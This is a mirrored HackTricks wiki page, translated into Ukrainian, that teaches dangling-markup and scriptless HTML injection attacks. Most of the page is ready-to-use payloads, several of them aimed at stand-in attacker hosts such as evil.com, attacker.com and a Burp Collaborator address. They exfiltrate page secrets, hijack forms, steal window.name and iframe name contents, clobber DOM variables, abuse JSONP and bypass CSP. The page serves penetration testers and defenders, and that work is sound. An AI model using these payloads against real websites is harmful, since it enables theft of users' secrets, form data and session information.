mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
228 lines
16 KiB
Markdown
228 lines
16 KiB
Markdown
# Dangling Markup - HTML scriptless injection
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## Резюме
|
||
|
||
Цю техніку можна використовувати для витягування інформації від користувача, коли **знайдено HTML-ін'єкцію**. Це дуже корисно, якщо ви **не знаходите жодного способу експлуатувати** [**XSS** ](../xss-cross-site-scripting/index.html), але можете **впровадити деякі HTML-теги**.\
|
||
Це також корисно, якщо деяка **секретна інформація зберігається у відкритому тексті** в HTML, і ви хочете **екстрагувати** її з клієнта, або якщо ви хочете ввести в оману виконання деяких скриптів.
|
||
|
||
Кілька технік, згаданих тут, можна використовувати для обходу деяких [**Content Security Policy**](../content-security-policy-csp-bypass/index.html) шляхом екстракції інформації несподіваними способами (HTML-теги, CSS, http-meta теги, форми, base...).
|
||
|
||
## Основні застосування
|
||
|
||
### Вкрадання секретів у відкритому тексті
|
||
|
||
Якщо ви впровадите `<img src='http://evil.com/log.cgi?` під час завантаження сторінки, жертва надішле вам увесь код між впровадженим тегом `img` і наступною цитатою в коді. Якщо секрет якимось чином знаходиться в цьому фрагменті, ви його вкрадете (ви можете зробити те ж саме, використовуючи подвійні лапки, подивіться, що може бути більш цікавим для використання).
|
||
|
||
Якщо тег `img` заборонено (наприклад, через CSP), ви також можете використовувати `<meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?`
|
||
```html
|
||
<img src='http://attacker.com/log.php?HTML=
|
||
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
|
||
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
|
||
```
|
||
Зверніть увагу, що **Chrome блокує HTTP URL-адреси** з "<" або "\n" в них, тому ви можете спробувати інші протоколи, такі як "ftp".
|
||
|
||
Ви також можете зловживати CSS `@import` (надішле весь код, поки не знайде ";")
|
||
```html
|
||
<style>@import//hackvertor.co.uk? <--- Injected
|
||
<b>steal me!</b>;
|
||
```
|
||
Ви також можете використовувати **`<table`**:
|
||
```html
|
||
<table background='//your-collaborator-id.burpcollaborator.net?'
|
||
```
|
||
Ви також можете вставити тег `<base`. Вся інформація буде надіслана, поки цитата не буде закрита, але це вимагає деякої взаємодії з користувачем (користувач повинен натиснути на деяке посилання, оскільки тег base змінить домен, на який вказує посилання):
|
||
```html
|
||
<base target=' <--- Injected
|
||
steal me'<b>test</b>
|
||
```
|
||
### Крадіжка форм
|
||
```html
|
||
<base href="http://evil.com/" />
|
||
```
|
||
Тоді форми, які надсилають дані на шлях (наприклад, `<form action='update_profile.php'>`), надсилатимуть дані на зловмисний домен.
|
||
|
||
### Викрадення форм 2
|
||
|
||
Встановіть заголовок форми: `<form action='http://evil.com/log_steal'>`, це перезапише наступний заголовок форми, і всі дані з форми будуть надіслані зловмиснику.
|
||
|
||
### Викрадення форм 3
|
||
|
||
Кнопка може змінити URL, куди буде надіслана інформація з форми, за допомогою атрибута "formaction":
|
||
```html
|
||
<button name="xss" type="submit" formaction="https://google.com">
|
||
I get consumed!
|
||
</button>
|
||
```
|
||
Зловмисник може використовувати це для крадіжки інформації.
|
||
|
||
Знайдіть [**приклад цього нападу в цьому звіті**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).
|
||
|
||
### Крадіжка відкритих текстових секретів 2
|
||
|
||
Використовуючи останньо згадану техніку для крадіжки форм (інжекція нового заголовка форми), ви можете потім інжектувати нове поле введення:
|
||
```html
|
||
<input type='hidden' name='review_body' value="
|
||
```
|
||
і це поле введення міститиме весь вміст між його подвійними лапками та наступними подвійними лапками в HTML. Ця атака поєднує "_**Викрадення відкритих текстових секретів**_" з "_**Викрадення forms2**_".
|
||
|
||
Ви можете зробити те ж саме, інжектуючи форму та тег `<option>`. Усі дані до закритого `</option>` будуть надіслані:
|
||
```html
|
||
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
|
||
```
|
||
### Впровадження параметрів форми
|
||
|
||
Ви можете змінити шлях форми та вставити нові значення, щоб виконати несподівану дію:
|
||
```html
|
||
<form action="/change_settings.php">
|
||
<input type="hidden" name="invite_user" value="fredmbogo" /> ← Injected lines
|
||
|
||
<form action="/change_settings.php">
|
||
← Existing form (ignored by the parser) ...
|
||
<input type="text" name="invite_user" value="" /> ← Subverted field ...
|
||
<input type="hidden" name="xsrf_token" value="12345" />
|
||
...
|
||
</form>
|
||
</form>
|
||
```
|
||
### Викрадення секретів у відкритому тексті через noscript
|
||
|
||
`<noscript></noscript>` Це тег, вміст якого буде інтерпретовано, якщо браузер не підтримує javascript (ви можете увімкнути/вимкнути Javascript у Chrome за адресою [chrome://settings/content/javascript](chrome://settings/content/javascript)).
|
||
|
||
Спосіб ексфільтрації вмісту веб-сторінки з точки ін'єкції до низу на сайт, контрольований зловмисником, буде ін'єкцією цього:
|
||
```html
|
||
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
|
||
```
|
||
### Обхід CSP з взаємодією користувача
|
||
|
||
З цього [дослідження portswiggers](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) ви можете дізнатися, що навіть з **найбільш обмежених** середовищ CSP ви все ще можете **екстрагувати дані** з деякою **взаємодією користувача**. У цьому випадку ми будемо використовувати payload:
|
||
```html
|
||
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
|
||
<base target='
|
||
```
|
||
Зверніть увагу, що ви попросите **жертву** **натиснути на посилання**, яке **перенаправить** його на **payload**, контрольований вами. Також зверніть увагу, що атрибут **`target`** всередині тегу **`base`** міститиме **HTML контент** до наступної одинарної лапки.\
|
||
Це зробить так, що **значення** **`window.name`**, якщо посилання буде натиснуто, буде всім цим **HTML контентом**. Отже, оскільки ви **контролюєте сторінку**, на яку жертва переходить, натискаючи на посилання, ви можете отримати доступ до **`window.name`** і **екстрактувати** ці дані:
|
||
```html
|
||
<script>
|
||
if(window.name) {
|
||
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
|
||
</script>
|
||
```
|
||
### Misleading script workflow 1 - HTML namespace attack
|
||
|
||
Вставте новий тег з id всередині HTML, який перезапише наступний, і з значенням, яке вплине на потік скрипта. У цьому прикладі ви вибираєте, з ким буде поділено інформацію:
|
||
```html
|
||
<input type="hidden" id="share_with" value="fredmbogo" /> ← Injected markup ...
|
||
Share this status update with: ← Legitimate optional element of a dialog
|
||
<input id="share_with" value="" />
|
||
|
||
... function submit_status_update() { ... request.share_with =
|
||
document.getElementById('share_with').value; ... }
|
||
```
|
||
### Оманливий сценарій робочого процесу 2 - Атака на простір імен сценарію
|
||
|
||
Створіть змінні всередині простору імен javascript, вставляючи HTML теги. Потім ця змінна вплине на потік програми:
|
||
```html
|
||
<img id="is_public" /> ← Injected markup ... // Legitimate application code
|
||
follows function retrieve_acls() { ... if (response.access_mode == AM_PUBLIC) ←
|
||
The subsequent assignment fails in IE is_public = true; else is_public = false;
|
||
} function submit_new_acls() { ... if (is_public) request.access_mode =
|
||
AM_PUBLIC; ← Condition always evaluates to true ... }
|
||
```
|
||
### Зловживання JSONP
|
||
|
||
Якщо ви знайдете інтерфейс JSONP, ви зможете викликати довільну функцію з довільними даними:
|
||
```html
|
||
<script src='/editor/sharing.js'>: ← Legitimate script
|
||
function set_sharing(public) {
|
||
if (public) request.access_mode = AM_PUBLIC;
|
||
else request.access_mode = AM_PRIVATE;
|
||
...
|
||
}
|
||
|
||
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
|
||
set_sharing({ ... })
|
||
```
|
||
Або ви можете навіть спробувати виконати деякий javascript:
|
||
```html
|
||
<script src="/search?q=a&call=alert(1)"></script>
|
||
```
|
||
### Зловживання iframe
|
||
|
||
Дочірній документ має можливість переглядати та змінювати властивість `location` свого батька, навіть у ситуаціях з різними джерелами. Це дозволяє вбудовувати скрипт у **iframe**, який може перенаправити клієнта на довільну сторінку:
|
||
```html
|
||
<html>
|
||
<head></head>
|
||
<body>
|
||
<script>
|
||
top.window.location = "https://attacker.com/hacked.html"
|
||
</script>
|
||
</body>
|
||
</html>
|
||
```
|
||
Це можна пом'якшити за допомогою чогось на кшталт: `sandbox=' allow-scripts allow-top-navigation'`
|
||
|
||
Iframe також може бути зловжито використаний для витоку чутливої інформації з іншої сторінки **використовуючи атрибут імені iframe**. Це пов'язано з тим, що ви можете створити iframe, який сам себе вбудовує, зловживаючи HTML-ін'єкцією, що змушує **чутливу інформацію з'являтися всередині атрибута імені iframe**, а потім отримати доступ до цього імені з початкового iframe і витікати його.
|
||
```html
|
||
<script>
|
||
function cspBypass(win) {
|
||
win[0].location = "about:blank"
|
||
setTimeout(() => alert(win[0].name), 500)
|
||
}
|
||
</script>
|
||
|
||
<iframe
|
||
src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27"
|
||
onload="cspBypass(this.contentWindow)"></iframe>
|
||
```
|
||
Для отримання додаткової інформації перегляньте [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
|
||
|
||
### \<meta зловживання
|
||
|
||
Ви можете використовувати **`meta http-equiv`** для виконання **кількох дій**, таких як встановлення Cookie: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` або виконання перенаправлення (через 5 секунд у цьому випадку): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
|
||
|
||
Це можна **уникнути** за допомогою **CSP** щодо **http-equiv** ( `Content-Security-Policy: default-src 'self';`, або `Content-Security-Policy: http-equiv 'self';`)
|
||
|
||
### Новий \<portal HTML тег
|
||
|
||
Ви можете знайти дуже **цікаве дослідження** щодо вразливостей, які можна експлуатувати, тегу \<portal [тут](https://research.securitum.com/security-analysis-of-portal-element/).\
|
||
На момент написання цього матеріалу вам потрібно активувати тег portal у Chrome в `chrome://flags/#enable-portals`, інакше він не працюватиме.
|
||
```html
|
||
<portal src='https://attacker-server?
|
||
```
|
||
### HTML Leaks
|
||
|
||
Не всі способи витоку з'єднання в HTML будуть корисні для Dangling Markup, але іноді це може допомогти. Перевірте їх тут: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
|
||
|
||
## SS-Leaks
|
||
|
||
Це **мікс** між **dangling markup і XS-Leaks**. З одного боку, вразливість дозволяє **впроваджувати HTML** (але не JS) на сторінці **того ж походження**, що й та, яку ми будемо атакувати. З іншого боку, ми не будемо **атакувати** безпосередньо сторінку, на якій можемо впроваджувати HTML, а **іншу сторінку**.
|
||
|
||
{{#ref}}
|
||
ss-leaks.md
|
||
{{#endref}}
|
||
|
||
## XS-Search/XS-Leaks
|
||
|
||
XS-Search орієнтовані на **екстракцію інформації з крос-доменів**, зловживаючи **бічними каналами атак**. Тому це інша техніка, ніж Dangling Markup, однак деякі з технік зловживають включенням HTML тегів (з виконанням JS і без), як [**CSS Injection**](../xs-search/index.html#css-injection) або [**Lazy Load Images**](../xs-search/index.html#image-lazy-loading)**.**
|
||
|
||
{{#ref}}
|
||
../xs-search/
|
||
{{#endref}}
|
||
|
||
## Brute-Force Detection List
|
||
|
||
{{#ref}}
|
||
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt
|
||
{{#endref}}
|
||
|
||
## References
|
||
|
||
- [https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057](https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057)
|
||
- [http://lcamtuf.coredump.cx/postxss/](http://lcamtuf.coredump.cx/postxss/)
|
||
- [http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/](http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/)
|
||
- [https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup)
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|